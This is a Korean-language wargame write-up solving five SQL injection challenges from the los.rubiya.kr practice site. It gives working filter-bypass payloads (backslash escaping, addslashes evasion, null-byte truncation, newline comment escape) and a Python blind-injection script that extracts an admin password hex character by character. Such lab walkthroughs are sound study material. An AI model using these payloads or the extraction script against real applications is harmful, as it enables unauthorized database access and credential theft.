succubus
id, pw 에서 ' (싱글쿼터)를 필터링하고있다.
그래서 \ (슬레시) 를 이용해야한다.
id 에\ 를 넣는다면,id='\' and pw=''
여기서 \' and pw= 부분이 id 가 되니 pw 에 or 문을 넣어서
임의 계정을 뽑아올 수 있다.
payload : id=\&pw=+or+1=1%23
zombie_assassin
addslashes 으로 sqli 를 막는 것처럼 보이는데,
' -> \' -> '\
이런식으로 변한다.
그래서 succubus 문제처럼 pw= 까지 id 로 인식하게 해서 풀면 된다.
근데 싱글쿼터를 넣으면 id=''\ 가 되어 쿼리가 망가지기 때문에,
더블쿼터를 넣어야 한다. pw 는 위에서 썼던거 꺼꾸로 입력하면 된다.
payload : id="&pw=%231=1+ro+
nightware
싱글쿼터, 닫은괄호로 escape 가 가능하다.
mysql 의 타입 캐스팅으로 ('')=0 -> 1 이 된다.
주석이 다 막혀있어서 ; 세미콜론으로 조건문을 끝내고, %00 널문자를 넣어서 뒤로는 인식하지 않게 한다.
payload : ')=0;%00
xavis
blind sqli 문제고, 일단 비밀번호의 길이는 12 다.
substr 로 아무리 구해도 안나오길래, 범위를 벗어났다고 생각됐다.
먼저 구해봤던 페이로드는 hex(substr(pw,1,1))=~~ 인데, 이 방식으로 하려면 3바이트씩 구해야한다.
그래서 hex(pw) 에서 한 글자씩 읽어오기로 했다.
그래서 hex 화 한 pw 의 길이를 다시 구해보면, 24인 것을 알 수 있다.
import requests
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
param={'pw':'asdf'}
cookie={'PHPSESSID':'k30dmvb95d6cjf7i77jqo16t7m'}
hhh=list(map(ord,list("0123456789ABCDEF")))
print(hhh)
pw=''
for j in range(1,25):
for i in hhh:
param['pw']="' or id='admin' and ord(substr(hex(pw),{},1))={};#".format(j,i)
r=requests.get(url,params=param,cookies=cookie)
if r.text.find("Hello admin")!=-1:
pw+=chr(i)
print(f"{j} : {pw}")
break
for i in range(0,len(pw),8):
print(chr(int(pw[i:i+8],16)),end='')
헥스화 한 pw 에서 한 글자씩 읽어와 정수로 만든 뒤, 0부터 대문자 F 까지의 값을 ord 로 정수화 해서 비교했다.
8바이트씩 문자화 했더니 알아서 unicode 로 우왕굳을 출력해줬다.
dragon
pw 만 입력받는데, 앞에 주석이 있다.
그러면 %0a 를 입력해 개행한 뒤, or id='admin'# 을 입력해 admin 을 select 해주면 풀린다.
payload : pw='%0Aand pw='asdf' or id='admin'%23